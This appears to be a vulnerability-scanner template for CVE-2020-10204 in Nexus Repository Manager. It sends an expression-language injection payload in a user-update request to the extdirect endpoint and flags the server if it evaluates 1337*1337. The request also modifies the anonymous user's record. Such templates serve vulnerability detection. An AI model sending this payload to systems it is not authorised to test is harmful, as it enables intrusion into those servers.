id: CVE-2020-10204
info:
  name: Nexus Repository Manager RCE
  risk: High

params:
  - root: '{{.BaseURL}}'
  
variables:
  - endpoint: |
      extdirect
requests: 
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"anonymous@example.org","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}'
    detections:
      - >-
        StatusCode() == 200 && StringSearch("resBody", "1787569")

references:
  - https://www.cvebase.com/cve/2020/10204